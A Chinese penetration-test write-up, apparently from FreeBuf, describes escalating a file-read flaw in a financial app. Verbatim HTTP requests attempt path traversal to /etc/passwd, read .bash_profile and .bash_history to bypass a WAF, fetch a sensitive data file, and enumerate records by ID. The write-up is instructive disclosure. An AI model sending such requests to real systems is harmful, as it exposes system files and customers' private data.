官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
在授权测试某金融类APP时，发现一个鸡肋低危文件读取漏洞，尝试将其升级为高危。
PS：本文仅用于技术讨论与分析，严禁用于任何非法用途，违者后果自负。
0x00 初步探测
发现首次打开APP时，会向服务器读取文件加载并展示图片。
测试时一定要细心，笔者发现只有首次打开APP时，才会加载图片，后面再打开应该是资源已被记录，就不会向服务器再次进行请求了。
此加载展示图片的GET请求数据包如下：
GET /ixxx/LgonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName=this_is_image.jpg HTTP/1.1 Host: xxxxx.com Connection: close User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,en-US;q=0.8
拿到这个数据包的第一反应，以往的渗透测试经验告诉我，从这个地方大概路会存在文件读取漏洞。
分析并猜测功能点URI的每个参数的功能。
LogonImageDir=/XXXXX/Pictures - 图片所在的目录 SaveXxxxxImageName=this_is_image.jpg - 目录下的图片名
0x01 漏洞测试
既然已经初步探测到了可能存在漏洞的风险点，并且文件读取功能的参数已经搞清楚，下一步就展开读取测试。
首先测试，是否可以进行目录列出，直接将SaveXxxxxImageName参数置空，看看是否可以读取/XXXXX/Pictures目录下的内容：
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName= HTTP/1.1 Host: xxxxx.com Connection: close User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,en-US;q=0.8
返回为“空”，失败，说明程序功能点不存在列出目录漏洞：
测试是否可以跳出目录，选用Payload如下：
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../../../../../../etc/&SaveXxxxxImageName=passwd HTTP/1.1 Host: xxxxx.com Connection: close User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,en-US;q=0.8
返回某恒防火墙拦截界面，失败：
接下来进一步测试，是/etc/passwd触发的WAF，还是/../触发的WAF。
测试只进行一层目录跳出，并且删除/etc/passwd关键字：
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../&SaveXxxxxImageName= HTTP/1.1 Host: xxxxx.com Connection: close User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,en-US;q=0.8
唔...看来/../的特殊字符就已经触发了WAF：
之后想到尝试对数据包进行POST类型转换，使用POST传参的一些方式进行WAF的测试，如：
- URL编码
- 分块传输
- 脏数据填充
- 包体转换
- 畸形数据包
- ......
但是无奈，POST请求直接无法传参，程序限制了GET请求接收参数。
（不过，后来测试其他POST传参的功能时，发现以笔者现有的WAF绕过经验思路，根本无法对某恒的WAF进行绕过.....）
0x02 漏洞确认
总结以上对此文件读取漏洞收集到的信息：
- 目录无法跨越，并且文件读取的路径在当前根目录；
- 特殊字符串，已被WAF完美防护住；
- 无法获取目录下的文件名、无法预知是否可以读取其他后缀文件。
测试到这里突然灵光一闪，想到了“.bash_history”，如果网站根目录存在此文件，并且可以读取，上面的疑问就可以直接解决大半了，先来了解一下这些文件作用：
- .bash_profile：此文件为系统的每个用户设置环境信息，当用户第一次登录时，该文件被执行。
- .bash_history：该文件保存了当前用户输入过的历史命令；
- .bash_logout：该文件的用途是用户注销时执行的命令，默认为空；
- .bashrc：此文件为每一个运行bash shell的用户执行此文件。当bash shell被打开时，该文件被读取。
于是直接对网站根目录进行.bash_profile的盲测：
GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_profile HTTP/1.1 Host: xxxxx.com Connection: close User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,en-US;q=0.8
此payload既避免了跳出目录，又避开了WAF严打的特殊字符，但是唯一遗漏的.bash文件被我们利用到了。
激动的心颤抖的手，看来当前网站根目录确实是此用户的目录，并且用户在此根目录下执行过命令！
接下来尝试进一步扩大危害。
0x03 危害升级
不清楚当前目录结构，就代表着无法定向读取文件，但是还有一个.bash_history我们没有利用到，看看是否可以在其中获取到更重要的信息。
读取根目录下的.bash_history：
GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_history HTTP/1.1 Host: xxxxx.com Connection: close User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,en-US;q=0.8
由历史命令得知，管理员cd进入了两层目录：/Nxxxx/xxFile/
并且查看了xx_20201022_51xxx.txt文件。
直接构造读取此文件！
GET /ixxx/LogonImage.do?XxxxxImageDir=/Nxxxx/xxFile&SaveXxxxxImageName=xx_20201022_51xxx.txt HTTP/1.1 Host: xxxxx.com Connection: close User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,en-US;q=0.8
成功读取到了敏感的数据信息：
并且文件的ID值为时间戳+ID顺序编号组成，可轻松遍历出全部的信息。
Burpsuite Intruder模块测试：
尝试遍历10个ID值成功。
0x04 回首总结
存在的难题：目录无法跨越、WAF盯防、无法预知目录文件结构。
在此情况下，利用Linux文件系统特性，仍然可以将低危漏洞提升至高危。
并且危害的等级高低是无法预估的，这取决于.bash_history会给我们泄露多少信息，所以文件读取漏洞存在时间越久，记录的东西越多，危害越大！
希望这个简单的漏洞挖掘过程，能给大家带来一些挖洞思路~
谢谢大家！